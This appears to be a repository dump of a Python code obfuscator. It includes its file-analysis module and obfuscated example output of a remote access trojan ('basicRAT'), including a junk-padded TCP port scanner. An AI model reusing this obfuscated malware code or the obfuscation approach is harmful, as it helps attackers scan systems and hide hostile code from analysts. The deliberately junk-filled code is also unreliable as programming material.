22 | TJuNMpLobRxadTbwjQGwljfgJcFsInXBczoeBnBtTDdlRSzHkIUkeApvWyzdoDWk = nydnvpkYEVPXuTKTHjKttdXXotmQVlVKpgNQHkbpGoObhrnDEVbUdVXDDDBQqGqm
23 | elif TOlBqoooWbVAksEFODzVDXbHAtzyehGDPvAveDJKiqXalGRBBHsBfMbYCyCylrOI == TOlBqoooWbVAksEFODzVDXbHAtzyehGDPvAveDJKiqXalGRBBHsBfMbYCyCylrOI:
24 | for TOlBqoooWbVAksEFODzVDXbHAtzyehGDPvAveDJKiqXalGRBBHsBfMbYCyCylrOI in nydnvpkYEVPXuTKTHjKttdXXotmQVlVKpgNQHkbpGoObhrnDEVbUdVXDDDBQqGqm:
25 | if awKWKJSUSkgqqorNbFWuqBjbrJaZKzVkrKyhtjKseQenlZRHJrPBYOYyezeMbLui == nydnvpkYEVPXuTKTHjKttdXXotmQVlVKpgNQHkbpGoObhrnDEVbUdVXDDDBQqGqm:
26 | TOlBqoooWbVAksEFODzVDXbHAtzyehGDPvAveDJKiqXalGRBBHsBfMbYCyCylrOI = 'awKWKJSUSkgqqorNbFWuqBjbrJaZKzVkrKyhtjKseQenlZRHJrPBYOYyezeMbLui'
27 | elif TOlBqoooWbVAksEFODzVDXbHAtzyehGDPvAveDJKiqXalGRBBHsBfMbYCyCylrOI == awKWKJSUSkgqqorNbFWuqBjbrJaZKzVkrKyhtjKseQenlZRHJrPBYOYyezeMbLui:
28 | awKWKJSUSkgqqorNbFWuqBjbrJaZKzVkrKyhtjKseQenlZRHJrPBYOYyezeMbLui = TJuNMpLobRxadTbwjQGwljfgJcFsInXBczoeBnBtTDdlRSzHkIUkeApvWyzdoDWk
29 | else:
30 | TJuNMpLobRxadTbwjQGwljfgJcFsInXBczoeBnBtTDdlRSzHkIUkeApvWyzdoDWk = nydnvpkYEVPXuTKTHjKttdXXotmQVlVKpgNQHkbpGoObhrnDEVbUdVXDDDBQqGqm
31 | for TOlBqoooWbVAksEFODzVDXbHAtzyehGDPvAveDJKiqXalGRBBHsBfMbYCyCylrOI in nydnvpkYEVPXuTKTHjKttdXXotmQVlVKpgNQHkbpGoObhrnDEVbUdVXDDDBQqGqm:
32 | if awKWKJSUSkgqqorNbFWuqBjbrJaZKzVkrKyhtjKseQenlZRHJrPBYOYyezeMbLui == nydnvpkYEVPXuTKTHjKttdXXotmQVlVKpgNQHkbpGoObhrnDEVbUdVXDDDBQqGqm:
33 | TOlBqoooWbVAksEFODzVDXbHAtzyehGDPvAveDJKiqXalGRBBHsBfMbYCyCylrOI = 'awKWKJSUSkgqqorNbFWuqBjbrJaZKzVkrKyhtjKseQenlZRHJrPBYOYyezeMbLui'
34 | elif TOlBqoooWbVAksEFODzVDXbHAtzyehGDPvAveDJKiqXalGRBBHsBfMbYCyCylrOI == awKWKJSUSkgqqorNbFWuqBjbrJaZKzVkrKyhtjKseQenlZRHJrPBYOYyezeMbLui:
35 | awKWKJSUSkgqqorNbFWuqBjbrJaZKzVkrKyhtjKseQenlZRHJrPBYOYyezeMbLui = TJuNMpLobRxadTbwjQGwljfgJcFsInXBczoeBnBtTDdlRSzHkIUkeApvWyzdoDWk
36 | else:
37 | TJuNMpLobRxadTbwjQGwljfgJcFsInXBczoeBnBtTDdlRSzHkIUkeApvWyzdoDWk = awKWKJSUSkgqqorNbFWuqBjbrJaZKzVkrKyhtjKseQenlZRHJrPBYOYyezeMbLui
38 | else:
39 | TJuNMpLobRxadTbwjQGwljfgJcFsInXBczoeBnBtTDdlRSzHkIUkeApvWyzdoDWk = nydnvpkYEVPXuTKTHjKttdXXotmQVlVKpgNQHkbpGoObhrnDEVbUdVXDDDBQqGqm
40 | MPcylUJpamCrBTBbvorvLhiXBGKRQxjsbdIFhmtxThmBqnshmumyqQfPSBmuLvON = [
41 | 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 179, 443, 445,
42 | 514, 993, 995, 1723, 3306, 3389, 5900, 8000, 8080, 8443, 8888
43 | ]
44 | def fTKQPkTPkFAzOJnBIebwmvWyCMZdVzPgDUKBhBbEBYPTOxAcfEJowEXwYSMBcqdN(ip):
45 | try:
46 | BABUeGjGTHMmyCBLkMqQiDtaeeLvVVEkrjCXciobBkBBxhXVdxsZwMOWagbQmukB = 'RcYFHDVzsUYaGlMBzQrBynevzCkHSNLmUVXcgoeKXhelhexnNhIQWZAKMtHyHIZS'
47 | yUlQkgPZmsxOFIWowGcPmDNZPKTxuxNjLIOrULwyAnzXPqBnhXiFKhEVktkDvLfB = 'EGmHmjUgwKfFtpfhGrMAVtWrsUHewUQfTULpeMlQXoAJwaOHuZvkvzbdBIFtKcCO RcYFHDVzsUYaGlMBzQrBynevzCkHSNLmUVXcgoeKXhelhexnNhIQWZAKMtHyHIZS'
48 | socket.inet_aton(ip)
49 | except socket.error:
50 | RAqlfStjrSmuiFbmOgeHGsSaAvfAuVtUMDbGwZbEuqMxdZbtvBNRgDfmLECooQNt = 'aqdILmgNcUuQymmrvjWyNxuQZPlGTydnLYFEqMpGVTXbTZwxgYsUEPjsEJZGUdxD'
51 | FRuAmFFsPIceAjivdeLYBsFXmXclxqouetFbQpchPUPuknCwAbglLKRgqMuaYhRK = 'tZGTFXkjJyblEUmxmyTHGxuqVIxuWabnOHlSZUaCtdTPXXGSTdUgfUJkaWOANTQu'
52 | EsPVfbnKYAxtDMSPCtXxXJVQigKjjcZXfAJvTyOzzjtNGDGcLITBEWakFQmGtwGT = 'ffmdqzYjvBDrcQrpXYVsGJaDIztrakDRkphJHmRijhxdUbJxhGRWRXDlnwMFETPT'
53 | jVnfBQKnEEBRnFsxFKHDEKhAGvNbxShTJpyjqRNoNfPnARKyiQRPuPEsERowDWRP = 'NBAQObckoRlurUTcsMnXRwataLeTPMQIDyzbtJGmFocwOyUTbPKOqoGARZqzJHXM'
54 | JkbxUSrTelPtIyVazCuiCaLkgICCMFPZABSFjlpLMpZJLxpBCAcCOoVTOXsMwVit = 'LLDBtzsnoQIIhHRpcfqlnvKNaiXSmjjaVdIlYGhTuXyplRxxoVsZYxcwYUxaPeRu'
55 | pFwcRLaiSvPwycDOrpIXrCTnhdTLxLvpnUVpQZpqetaWGvQoClURfnJTfDnuQFOU = 'skrhEjPEFTeLdRhrndjyZAZDUuClnLouFPcfbRxVmCeRSeHJRDsACNvWrVNZGcNJ'
56 | if EsPVfbnKYAxtDMSPCtXxXJVQigKjjcZXfAJvTyOzzjtNGDGcLITBEWakFQmGtwGT == jVnfBQKnEEBRnFsxFKHDEKhAGvNbxShTJpyjqRNoNfPnARKyiQRPuPEsERowDWRP:
57 | for pFwcRLaiSvPwycDOrpIXrCTnhdTLxLvpnUVpQZpqetaWGvQoClURfnJTfDnuQFOU in JkbxUSrTelPtIyVazCuiCaLkgICCMFPZABSFjlpLMpZJLxpBCAcCOoVTOXsMwVit:
58 | if pFwcRLaiSvPwycDOrpIXrCTnhdTLxLvpnUVpQZpqetaWGvQoClURfnJTfDnuQFOU == jVnfBQKnEEBRnFsxFKHDEKhAGvNbxShTJpyjqRNoNfPnARKyiQRPuPEsERowDWRP:
59 | JkbxUSrTelPtIyVazCuiCaLkgICCMFPZABSFjlpLMpZJLxpBCAcCOoVTOXsMwVit = RAqlfStjrSmuiFbmOgeHGsSaAvfAuVtUMDbGwZbEuqMxdZbtvBNRgDfmLECooQNt
60 | else:
61 | jVnfBQKnEEBRnFsxFKHDEKhAGvNbxShTJpyjqRNoNfPnARKyiQRPuPEsERowDWRP = FRuAmFFsPIceAjivdeLYBsFXmXclxqouetFbQpchPUPuknCwAbglLKRgqMuaYhRK
62 | return 'Error: Invalid IP address.'
63 | CoDPnQLqKIaIhCahmFVSyRngbVlKSyrgxNLzlREAJehHVvLRUQLpfwBEPWgoWmXo = ''
64 | nmaDwGDsQEhMRCWlFERccKkRGXvUbWQFJqmvssVHzVtZNHJtaISucOWKRCpiIzxV = 'HHMpDZaugBFurgxGioznTOOyTmKOTZgXVhitoVMsZXmiUzwjXTqkmYbMMHmfMsKl'
65 | kaKxzIkjGSoGSviNawkmCkurfvWunMqSxaIijDwMxCdKNQrpFZORdIApicIGSHSW = 'ubJQdWaJTEFvYGLNgGdUGbtsruxTGgZKElEehYgblKechduDhOpWFdqJJzDmxIfk'
66 | if nmaDwGDsQEhMRCWlFERccKkRGXvUbWQFJqmvssVHzVtZNHJtaISucOWKRCpiIzxV != kaKxzIkjGSoGSviNawkmCkurfvWunMqSxaIijDwMxCdKNQrpFZORdIApicIGSHSW:
67 | nmaDwGDsQEhMRCWlFERccKkRGXvUbWQFJqmvssVHzVtZNHJtaISucOWKRCpiIzxV = 'ubJQdWaJTEFvYGLNgGdUGbtsruxTGgZKElEehYgblKechduDhOpWFdqJJzDmxIfk'
68 | kaKxzIkjGSoGSviNawkmCkurfvWunMqSxaIijDwMxCdKNQrpFZORdIApicIGSHSW = nmaDwGDsQEhMRCWlFERccKkRGXvUbWQFJqmvssVHzVtZNHJtaISucOWKRCpiIzxV
69 | nmaDwGDsQEhMRCWlFERccKkRGXvUbWQFJqmvssVHzVtZNHJtaISucOWKRCpiIzxV = 'HHMpDZaugBFurgxGioznTOOyTmKOTZgXVhitoVMsZXmiUzwjXTqkmYbMMHmfMsKl'
70 | for KcTajNiwMovayLcFVgvJOvGPPLibeztmvOWlddWyHeClQXIRITVvFpsXnIgAjZJm in MPcylUJpamCrBTBbvorvLhiXBGKRQxjsbdIFhmtxThmBqnshmumyqQfPSBmuLvON:
71 | eHaIbOsLCpAyzVCTYxPnymgmDBBVAvDxFPvpIIpArECDOpSLMAHUqVQyTTkASJpK = 'FvvwnWPUxiFaAKIsVxfuRADAYRYggvtPWqvrDZEgMZWQdCojVlackrGLddHtPmWX'
72 | QzLGHPeSuBEblKIKCZMECrmVvTkKzzUEWpfrlSRXgLbHYgyKsGuDnDJnZsRDRmyy = 'zycFcqqBWkxxYGacYKWMuXWzWwDXhsPMrOeeNfHHZucBJLGdstUvnvvothwSFpTC'
73 | OBGJLYUHPMztGoLyGwxgIMUbwbCvlSfhuceGkWCSqGHdGMkToitubDwbVkzlDLjS = 'BUsgtTTPIUTsJRwKxTOesTTNPfthHSKNiSNpwcblcoWBHhLlYyiBKqpirsVoFbVC'
74 | lJHFACGqaxJGAGPEHuUVqksnbXtOSlWYVYeYLoaEEoWwvLtualcqCJRXywLCUXtI = 'NRnsNeWuFqgMkgrGiqXtTMcHTBRJloVIQuDJFzsBVEpLLRNktJijbeSnriKDkqzq'
75 | BggjZIDqvwytFlgDmLkXrxOIwrAefTjeHODCXQjaHXPRhkfTcBIPBzQhMbiSvtwX = 'GTwVDqIgeoBMwQbPAkiPprbhyADvOjvGVYiRmxaVcZuXaQwjtexJcaDgLPVKyGMq'
76 | if eHaIbOsLCpAyzVCTYxPnymgmDBBVAvDxFPvpIIpArECDOpSLMAHUqVQyTTkASJpK in QzLGHPeSuBEblKIKCZMECrmVvTkKzzUEWpfrlSRXgLbHYgyKsGuDnDJnZsRDRmyy:
77 | eHaIbOsLCpAyzVCTYxPnymgmDBBVAvDxFPvpIIpArECDOpSLMAHUqVQyTTkASJpK = BggjZIDqvwytFlgDmLkXrxOIwrAefTjeHODCXQjaHXPRhkfTcBIPBzQhMbiSvtwX
78 | if QzLGHPeSuBEblKIKCZMECrmVvTkKzzUEWpfrlSRXgLbHYgyKsGuDnDJnZsRDRmyy in OBGJLYUHPMztGoLyGwxgIMUbwbCvlSfhuceGkWCSqGHdGMkToitubDwbVkzlDLjS:
79 | QzLGHPeSuBEblKIKCZMECrmVvTkKzzUEWpfrlSRXgLbHYgyKsGuDnDJnZsRDRmyy = lJHFACGqaxJGAGPEHuUVqksnbXtOSlWYVYeYLoaEEoWwvLtualcqCJRXywLCUXtI
80 | elif QzLGHPeSuBEblKIKCZMECrmVvTkKzzUEWpfrlSRXgLbHYgyKsGuDnDJnZsRDRmyy in eHaIbOsLCpAyzVCTYxPnymgmDBBVAvDxFPvpIIpArECDOpSLMAHUqVQyTTkASJpK:
81 | OBGJLYUHPMztGoLyGwxgIMUbwbCvlSfhuceGkWCSqGHdGMkToitubDwbVkzlDLjS = QzLGHPeSuBEblKIKCZMECrmVvTkKzzUEWpfrlSRXgLbHYgyKsGuDnDJnZsRDRmyy
82 | if OBGJLYUHPMztGoLyGwxgIMUbwbCvlSfhuceGkWCSqGHdGMkToitubDwbVkzlDLjS in QzLGHPeSuBEblKIKCZMECrmVvTkKzzUEWpfrlSRXgLbHYgyKsGuDnDJnZsRDRmyy:
83 | QzLGHPeSuBEblKIKCZMECrmVvTkKzzUEWpfrlSRXgLbHYgyKsGuDnDJnZsRDRmyy = BggjZIDqvwytFlgDmLkXrxOIwrAefTjeHODCXQjaHXPRhkfTcBIPBzQhMbiSvtwX
84 | zgvsDznwACojGUhNrBBhNqaBjIxMwBewkABBqXzrSEFcNpEAOGmZalKNXHWysfgk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
85 | WLNJLzWpHSVkWOAwghXuUVwWmmUXYtjlYrUKryidVotmHzFlzYNjWcwpfyyFRVLd = zgvsDznwACojGUhNrBBhNqaBjIxMwBewkABBqXzrSEFcNpEAOGmZalKNXHWysfgk.connect_ex((ip, KcTajNiwMovayLcFVgvJOvGPPLibeztmvOWlddWyHeClQXIRITVvFpsXnIgAjZJm))
86 | socket.setdefaulttimeout(0.5)
87 | QvgdfEasrAwpHpQJiyFKLlxbWYJxXRObIEZtDyScInOrXJuEpjKPdbPcweEIZFzb = 'open' if not WLNJLzWpHSVkWOAwghXuUVwWmmUXYtjlYrUKryidVotmHzFlzYNjWcwpfyyFRVLd else 'closed'
88 | BQjImQGAEdRbZopSBTJoEhTnplEOLDPtpuOEhavjwkKlIRSiXXpMlYsXevgvASrB = 'FKsWRBmQnzokeisxuMFIofNDJxkmCUUdHfNvdDIfYUpqKLiAkmDpimlOXBUgsGxx'
89 | tTCvKAJcPQTlpwshpNVOPqKNtIPiswqzQoumrbvwWXUgUhEbBEMwvMYhBngjMkER = 'sTDrfYTdrbhzmhjZVDoAmroStzyLibxBAqNfmkHRuQlqKJJjdwaIcLTpjJxuiqck'
90 | ERJnAupIjkxGzRaMXNgZmJPyRSMKNLuPTspgTfjMrBqteaAFBtEtCxnUrflTJsOY = 'FioyZrwQfCORTYWTfkgynLUJqGbqJuRAnaxIRhKDOgFTdvuEaYXKFXDeBadLVYzl'
91 | tNtUWihANnNwsBFwVMnrUoyzdYzXdEvWZREaudWRLZyCfVIwudPVAeUuMZEONUDx = 'ySQNzCKSuqJCDYKEgJVTxxtYlfXDuocwxEZMpBizMJdWccDabhZFXdvOYTqITryY'
92 | ZecroFTpjGaaUGFCvsNBGdMWxtrjIPyLqBkPCjgRUEnxDCKWxZtDlLTGTTttejie = 'mCFCztoDGgKHgnyhxDJIVWKNfVehsdwrtazSLzSjVGcovKlSWwmzHSultJuVBSgs'
93 | mEaQmlIcVgEDgVsHHJYjhVZjgVoWFHtOaryTAhBprcoEQzIythlaVQdQujaZqpXT = 'GlCfFMbAFkZxBeShSrYPtpOQeejymGCDsGciZSefqLYksKTJHTpuEXVUEAGHkHen'
94 | if ERJnAupIjkxGzRaMXNgZmJPyRSMKNLuPTspgTfjMrBqteaAFBtEtCxnUrflTJsOY == tNtUWihANnNwsBFwVMnrUoyzdYzXdEvWZREaudWRLZyCfVIwudPVAeUuMZEONUDx:
95 | for mEaQmlIcVgEDgVsHHJYjhVZjgVoWFHtOaryTAhBprcoEQzIythlaVQdQujaZqpXT in ZecroFTpjGaaUGFCvsNBGdMWxtrjIPyLqBkPCjgRUEnxDCKWxZtDlLTGTTttejie:
96 | if mEaQmlIcVgEDgVsHHJYjhVZjgVoWFHtOaryTAhBprcoEQzIythlaVQdQujaZqpXT == tNtUWihANnNwsBFwVMnrUoyzdYzXdEvWZREaudWRLZyCfVIwudPVAeUuMZEONUDx:
97 | ZecroFTpjGaaUGFCvsNBGdMWxtrjIPyLqBkPCjgRUEnxDCKWxZtDlLTGTTttejie = BQjImQGAEdRbZopSBTJoEhTnplEOLDPtpuOEhavjwkKlIRSiXXpMlYsXevgvASrB
98 | else:
99 | tNtUWihANnNwsBFwVMnrUoyzdYzXdEvWZREaudWRLZyCfVIwudPVAeUuMZEONUDx = tTCvKAJcPQTlpwshpNVOPqKNtIPiswqzQoumrbvwWXUgUhEbBEMwvMYhBngjMkER
100 | CoDPnQLqKIaIhCahmFVSyRngbVlKSyrgxNLzlREAJehHVvLRUQLpfwBEPWgoWmXo += '{:>5}/tcp {:>7}\n'.format(KcTajNiwMovayLcFVgvJOvGPPLibeztmvOWlddWyHeClQXIRITVvFpsXnIgAjZJm, QvgdfEasrAwpHpQJiyFKLlxbWYJxXRObIEZtDyScInOrXJuEpjKPdbPcweEIZFzb)
101 | return CoDPnQLqKIaIhCahmFVSyRngbVlKSyrgxNLzlREAJehHVvLRUQLpfwBEPWgoWmXo.rstrip()
102 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/core/obfuscation/intensio_analyze.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | # https://github.com/Hnfull/Intensio-Obfuscator
4 |
5 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
6 |
7 | import shutil
8 | import os
9 | import sys
10 | import glob
11 | import re
12 | from progress.bar import Bar
13 |
14 | try:
15 | from intensio_obfuscator.core.utils.intensio_utils import Utils, Colors
16 | except ModuleNotFoundError:
17 | from core.utils.intensio_utils import Utils, Colors
18 |
19 | #------------------------------------------------- [Function(s)/Class(es)] --------------------------------------------------#
20 |
21 | class Analyze:
22 |
23 | def __init__(self):
24 | self.utils = Utils()
25 |
26 |
27 | def InputAvailable(self, inputArg, verboseArg):
28 | inputFileFound = []
29 | inputFileEmpty = []
30 | inputFileFoundCount = 0
31 | inputFileEmptyCount = 0
32 | countRecursFiles = 0
33 | numberLine = 0
34 |
35 | if os.path.exists(inputArg) == True:
36 | if os.path.isdir(inputArg) == True:
37 | detectFiles = "py"
38 | blockDir = "__pycache__"
39 |
40 | recursFiles = [
41 | file for file in glob.glob("{0}{1}**{1}*.{2}".format(
42 | inputArg,
43 | self.utils.Platform(
44 | getOS=False,
45 | getPathType=True
46 | ),
47 | detectFiles),
48 | recursive=True
49 | )
50 | ]
51 |
52 | if recursFiles == []:
53 | print(Colors.ERROR + "[-] {} directory empty or python file not found".format(inputArg) + Colors.DISABLE)
54 | return 1
55 |
56 | for number in recursFiles:
57 | countRecursFiles += 1
58 |
59 | print("\n[+] Running analyze input of {} file(s)...\n".format(countRecursFiles))
60 |
61 | with Bar("Analysis ", fill="=", max=countRecursFiles, suffix="%(percent)d%%") as bar:
62 | for file in recursFiles:
63 | if blockDir in file:
64 | continue
65 | else:
66 | if os.path.getsize(file) > 0:
67 | inputFileFound.append(file)
68 | inputFileFoundCount += inputFileFoundCount + 1
69 | else:
70 | inputFileEmpty.append(file)
71 | inputFileEmptyCount += inputFileEmptyCount + 1
72 |
73 | bar.next(1)
74 | bar.finish()
75 |
76 | if inputFileFoundCount >= 1 and inputFileEmptyCount < inputFileFoundCount:
77 | if verboseArg:
78 | print("\n\n[+] File input found :\n")
79 |
80 | if inputFileFound == []:
81 | print("-> no result")
82 | else:
83 | for file in inputFileFound:
84 | print("-> {}".format(file))
85 |
86 | for file in inputFileEmpty:
87 | print("-> {} : empty".format(file))
88 |
89 | return 1
90 |
91 | elif inputFileFoundCount == inputFileEmptyCount and inputFileFoundCount > 0:
92 | print(Colors.ERROR + "[-] All files in directory specified are emtpy !" + Colors.DISABLE)
93 | return 0
94 | else:
95 | print(Colors.ERROR + "[-] No file available in '{}'.".format(inputArg) + Colors.DISABLE)
96 | return 0
97 | else:
98 | print(Colors.ERROR + "[-] '{}' is not a directory".format(inputArg) + Colors.DISABLE)
99 | return 0
100 | else:
101 | print(Colors.ERROR + "[-] '{}' not exists".format(inputArg) + Colors.DISABLE)
102 | return 0
103 |
104 |
105 | def OutputAvailable(self, inputArg, outputArg, verboseArg):
106 | outputFileFound = []
107 | outputFileEmpty = []
108 | outputFileFoundCount = 0
109 | outputFileEmptyCount = 0
110 | countRecursFiles = 0
111 |
112 | if os.path.exists(outputArg) == True:
113 | deleteRequest = input("[!] Output '{}' already exists, do you want delete it ? (Y/N) : ".format(outputArg))
114 | deleteRequest = deleteRequest.upper()
115 | if deleteRequest == "Y":
116 | try:
117 | shutil.rmtree(outputArg)
118 | if os.path.exists(outputArg) == False:
119 | shutil.copytree(inputArg, outputArg)
120 | if os.path.exists(outputArg) == True:
121 | if os.path.isdir(outputArg) == True:
122 | detectFiles = "py"
123 | blockDir = "__pycache__"
124 |
125 | recursFiles = [
126 | file for file in glob.glob("{0}{1}**{1}*.{2}".format(
127 | outputArg,
128 | self.utils.Platform(
129 | getOS=False,
130 | getPathType=True
131 | ),
132 | detectFiles),
133 | recursive=True
134 | )
135 | ]
136 |
137 | for number in recursFiles:
138 | countRecursFiles += 1
139 |
140 | print("\n[+] Running analyze output of {} file(s)...\n".format(countRecursFiles))
141 |
142 | if recursFiles == []:
143 | print(Colors.ERROR + "[-] {} directory empty, no copied file".format(inputArg) + \
144 | Colors.DISABLE)
145 | return 0
146 |
147 | with Bar("Analysis ", fill="=", max=countRecursFiles, suffix="%(percent)d%%") as bar:
148 | for file in recursFiles:
149 | if blockDir in file:
150 | continue
151 | else:
152 | if os.path.getsize(file) > 0:
153 | outputFileFound.append(file)
154 | outputFileFoundCount += outputFileFoundCount + 1
155 | else:
156 | outputFileEmpty.append(file)
157 | outputFileEmptyCount += outputFileEmptyCount + 1
158 |
159 | bar.next(1)
160 | bar.finish()
161 |
162 | if outputFileFoundCount >= 1 and outputFileFoundCount > outputFileEmptyCount:
163 | if verboseArg:
164 | print("\n\n[+] Output files copy :\n")
165 |
166 | if outputFileFound == []:
167 | print("-> no result")
168 | else:
169 | for file in outputFileFound:
170 | print("-> {}".format(file))
171 |
172 | for file in outputFileEmpty:
173 | print("-> {} : empty".format(file))
174 |
175 | return 1
176 | else:
177 | print(Colors.ERROR + "[-] No files available in '{}'".format(outputArg) + Colors.DISABLE)
178 | return 0
179 | else:
180 | print(Colors.ERROR + "[-] Copy '{}' to '{}' failed, this is not a output directory copied"\
181 | .format(inputArg, outputArg) + Colors.DISABLE)
182 | return 0
183 | else:
184 | print(Colors.ERROR + "[-] Copy '{}' to '{}' failed".format(inputArg, outputArg) + Colors.DISABLE)
185 | return 0
186 | else:
187 | print(Colors.ERROR + "[-] Delete '{}' failed".format(outputArg) + Colors.DISABLE)
188 | return 0
189 |
190 | except Exception as e:
191 | print(Colors.ERROR + "[-] {}".format(e) + Colors.DISABLE)
192 | return 0
193 | else:
194 | print(Colors.ERROR + "[-] Delete '{}' failed, the user has refused".format(outputArg) + Colors.DISABLE)
195 | return 0
196 | else:
197 | try:
198 | shutil.copytree(inputArg, outputArg)
199 | if os.path.exists(outputArg) == True:
200 | if os.path.isdir(outputArg) == True:
201 | detectFiles = "py"
202 | blockDir = "__pycache__"
203 |
204 | recursFiles = [
205 | file for file in glob.glob("{0}{1}**{1}*.{2}".format(
206 | outputArg,
207 | self.utils.Platform(
208 | getOS=False,
209 | getPathType=True
210 | ),
211 | detectFiles),
212 | recursive=True
213 | )
214 | ]
215 |
216 | for number in recursFiles:
217 | countRecursFiles += 1
218 |
219 | print("\n[+] Running analyze output of {} file(s)...\n".format(countRecursFiles))
220 |
221 | if recursFiles == []:
222 | print(Colors.ERROR + "[-] {} directory empty, no copied file".format(inputArg) + Colors.DISABLE)
223 | return 0
224 |
225 | with Bar("Analysis ", fill="=", max=countRecursFiles, suffix="%(percent)d%%") as bar:
226 | for file in recursFiles:
227 | if blockDir in file:
228 | continue
229 | else:
230 | if os.path.getsize(file) > 0:
231 | outputFileFound.append(file)
232 | outputFileFoundCount += outputFileFoundCount + 1
233 | else:
234 | outputFileEmpty.append(file)
235 | outputFileEmptyCount += outputFileEmptyCount + 1
236 |
237 | bar.next(1)
238 | bar.finish()
239 |
240 | if outputFileFoundCount >= 1 and outputFileFoundCount > outputFileEmptyCount:
241 | if verboseArg:
242 | print("\n\n[+] File output found :\n")
243 |
244 | if outputFileFound == []:
245 | print("-> no result")
246 | else:
247 | for file in outputFileFound:
248 | print("-> {} : copy".format(file))
249 |
250 | for file in outputFileEmpty:
251 | print("-> {} : copy empty".format(file))
252 |
253 | return 1
254 | else:
255 | print(Colors.ERROR + "[-] No files available in '{}'".format(outputArg) + Colors.DISABLE)
256 | return 0
257 | else:
258 | print(Colors.ERROR + "[-] Copy '{}' to '{}' failed, this is not a output directory copied !"\
259 | .format(inputArg, outputArg) + Colors.DISABLE)
260 | return 0
261 | else:
262 | print(Colors.ERROR + "[-] Copy '{}' to '{}' failed".format(inputArg, outputArg) + Colors.DISABLE)
263 | return 0
264 |
265 | except Exception as e:
266 | print(Colors.ERROR + "[-] {}".format(e) + Colors.DISABLE)
267 | return 0
268 |
269 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/output/basicRAT-example/core/KqiphPCvniiuOipHMwvOdVevGiSMNMiyuNIettjICOkFKMmuFDrIYVUbEhdJJDJA.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | def KGEDrHFxUaoeIUfbQgbAIfGsHWKjjkvNhMPRDYVlIIztdYJHMpXFEodbKJtEzAZP(IteZczQyQnYarDRbPaeLJpnQJstiGjNFJoioNbszYaWeOkRiTWnzxNuZRQHsZtFk, zvpAaISCxHcZPdMyoNQfcvhDnhomVLcWDybmzzDFQOBxDvzEPPLIsPcFhHizKDPw, fjLJwfuqyrVdUjVRBPYXnsHQbilFRZwNJFRmsjFeZrgGxxsKxSlWATFxpiJHynyL):
3 | IteZczQyQnYarDRbPaeLJpnQJstiGjNFJoioNbszYaWeOkRiTWnzxNuZRQHsZtFk = 'pRrkKqtanmXnhoYFRZXYzCcLkiHsXcxPDfvKGXOZQnXWILQjkJdJBkNGWAPCYvxm'
4 | zvpAaISCxHcZPdMyoNQfcvhDnhomVLcWDybmzzDFQOBxDvzEPPLIsPcFhHizKDPw = 'pYHciUqmtxAkGmzOgCRfRgemmsZkcOXpdAjyJrVuGcVhNmxldoHSzgsiOFBQbIAU'
5 | lFuhyVAcVKAsNTEoJirDUkjbqzsZdRKVdDnstHkOkjBaHhgKpcsuszeuOCEUSggp = True
6 | while lFuhyVAcVKAsNTEoJirDUkjbqzsZdRKVdDnstHkOkjBaHhgKpcsuszeuOCEUSggp:
7 | break
8 | for lFuhyVAcVKAsNTEoJirDUkjbqzsZdRKVdDnstHkOkjBaHhgKpcsuszeuOCEUSggp in zvpAaISCxHcZPdMyoNQfcvhDnhomVLcWDybmzzDFQOBxDvzEPPLIsPcFhHizKDPw:
9 | fjLJwfuqyrVdUjVRBPYXnsHQbilFRZwNJFRmsjFeZrgGxxsKxSlWATFxpiJHynyL = False
10 | import socket
11 | def bOtRLyTVfWNoPBgWjkIkkrMWBNhyqsQXzWqhRVuYduyfolCZXtzQRRRKLdnZXdln(pxLqTllLBMFQqLzNYHuNURclLSCxqTcuxeQeQerUmexyuruuJyYRjyyNYoipAdlS, JumPibmovILusJavhmLDCMlQXLyLVOCjVTBCKlcUnWqASVaeTfhKqFtJBvajumMg):
12 | pxLqTllLBMFQqLzNYHuNURclLSCxqTcuxeQeQerUmexyuruuJyYRjyyNYoipAdlS = 'snljGHsRfeMkbZpbePjsTUOnWQOaGzGRhHWyTVFclrvznngvPPcwmjuQDDveqaaV'
13 | JumPibmovILusJavhmLDCMlQXLyLVOCjVTBCKlcUnWqASVaeTfhKqFtJBvajumMg = 'cDvSuJlGsyWfDESqPSyGvXMMoDjkYwggFkhOoIWvGlWqXWTLGCRCpXoXTrvJvTyS'
14 | try:
15 | for UMsyODGRJMXfDckkhgSClRmMtmnYcmeXQJDdtpKypEYxvgdJrJGtDOmxZNvNSXfF in pxLqTllLBMFQqLzNYHuNURclLSCxqTcuxeQeQerUmexyuruuJyYRjyyNYoipAdlS:
16 | if UMsyODGRJMXfDckkhgSClRmMtmnYcmeXQJDdtpKypEYxvgdJrJGtDOmxZNvNSXfF == JumPibmovILusJavhmLDCMlQXLyLVOCjVTBCKlcUnWqASVaeTfhKqFtJBvajumMg:
17 | wOBMxLRGBNJrkPyZbolQAYZWxGXpscgwAXEbRVWBagAUHatSrWqXpMXexStthgKo = []
18 | ERwdhxIPEFocTFJDfOpHeGCZAlBLOqvWlmObffoxaIorsLGdoJjWdSfdgwjHOHHU = None
19 | else:
20 | pass
21 | except:
22 | pass
23 | import struct
24 | OrWhKMzLbtqsjCSfjnJCfgfGqdtaFgSFqOnVOFfQUJAALouiVHnWjotAVEbutfGu = 'nfPRddHvhQvvdhJSiacOTekQSDYrfhquJKqswJWETPTknoqXtKxSeMFQSFSzvwgt'
25 | LefkFcvyzEYTLildOQXMXlJzsfPNAAiGzmczlxUFFJGGQiRRDPhjWcouyQRLBVwj = 'GNMerXaHWcnTOcUwOIwppoStRrmSkvsMJdzXeZJhoAWuzdXkuBKEKOyPpyHNkxPZ'
26 | yVbFCoQAlHnGfcLoUiwwgnbzWaeKvvfUbxqIoVxfwmFgpEIKPHjxLjpxctiLTptU = 'WWDrqdIcZuNLBUtBRLgjpEVcrdHYDDGbZUaMQnnyVleYYXfbBYeFgcSElIrhMwRR'
27 | kAgTKZAqmJNWgTzDMnVcFgrhHOKfoTqxxgJEHLSxkzBgpTAMMIPZWRKoxLJpdgJA = 'BUpMqqRCvODHrAFqaZyVmdhpbDMDBvlNQLxleAmIsGpzlUEBqFflJMVugiFMynXw'
